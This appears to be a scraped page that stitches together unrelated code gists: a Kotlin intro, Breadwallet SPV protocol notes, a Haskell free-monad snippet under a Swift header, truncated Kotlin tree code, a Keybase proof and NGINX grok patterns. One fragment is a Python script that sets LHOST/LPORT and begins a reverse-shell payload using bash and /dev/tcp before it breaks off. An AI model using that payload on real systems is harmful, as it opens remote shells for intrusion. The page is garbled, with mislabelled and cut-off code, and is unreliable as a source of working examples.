William Wolf throughnothing

#Intro

Kotlin is a new programming language for the JVM. It produces Java bytecode, supports Android and generates JavaScript. The latest version of the language is Kotlin M5.3

Kotlin project website is at kotlin.jetbrains.org.

All the codes here can be copied and run on Kotlin online editor.

Let's get started.

Breadwallet SPV

https://github.com/voisine/breadwallet/blob/4c169e4496e868a98230002978f16b8ad8d5b0ce/BreadWallet/BRPeer.m#L342-L368

The standard blockchain download protocol works as follows (for SPV mode):

local peer sends getblocks
remote peer reponds with inv containing up to 500 block hashes
local peer sends getdata with the block hashes
remote peer responds with multiple merkleblock and tx messages

Looks like they POST => /kindle/queue, which returns a 302 redirect to a url with an id, or something like that?

	//
	// Free.swift
	// Swift_Extras
	//
	// Created by Robert Widmann on 9/19/14.
	// Copyright (c) 2014 Robert Widmann. All rights reserved.
	//

	import Foundation

	module AlaCarte where

	-- Control.Monad.Free

	data Free f a = Free (f (Free f a)) \| Pure a

	instance Functor f => Monad (Free f) where
	Pure a >>= f = f a
	Free r >>= f = Free (fmap (>>= f) r)
	return = Pure

	trait Tree
	data object Empty : Tree
	data class Leaf(val value: Int) : Tree
	data class Node(val left: Tree, val right: Tree) : Tree

	fun max(x:Int, y:Int):Int = if (x > y) x else y

	fun depth(t: Tree): Int = when (t) {
	is Empty -> 0
	is Leaf -> 1

	### Keybase proof

	I hereby claim:

	* I am throughnothing on github.
	* I am throughnothing (https://keybase.io/throughnothing) on keybase.
	* I have a public key whose fingerprint is D2A3 32BC 2B61 2C33 9FAB 1C89 5840 84D4 423D 17F3

	To claim this, I am signing this object:

	# -- coding: utf-8 --
	#

	import tempfile
	import sys, os
	import re

	LHOST, LPORT = ('127.0.0.1', '4444')

	PAYLOAD = (r'''os.system('echo "bash -c \'0<&76-;exec 76<>/dev/tcp/%s/%s;

	// Use Gists to store code you would like to remember later on
	console.log(window); // log the "window" object to the console

	# NGINX
	NGINX_TIMESTAMP %{MONTHDAY}/%{MONTH}/%{YEAR}:%{HOUR}:%{MINUTE}:%{SECOND} %{ISO8601_TIMEZONE}
	NGINXCUSTOM %{DATA:request_id} %{NUMBER:status}:%{NUMBER:request_time}:%{NUMBER:upstream_response_time}:%{NUMBER:body_bytes_sent} %{NUMBER:connection} %{IP:remote_ip} %{NOTSPACE:host} %{NOTSPACE:remote_user} \[%{NGINX_TIMESTAMP:timestamp}\] "%{WORD:method} %{NOTSPACE:path} %{NOTSPACE:protocol}" "%{DATA:http_referer}" "%{DATA:user_agent}" "%{DATA:http_forwarded_for}" %{NOTSPACE:upstream_addr} %{GREEDYDATA:upstream_cache_status}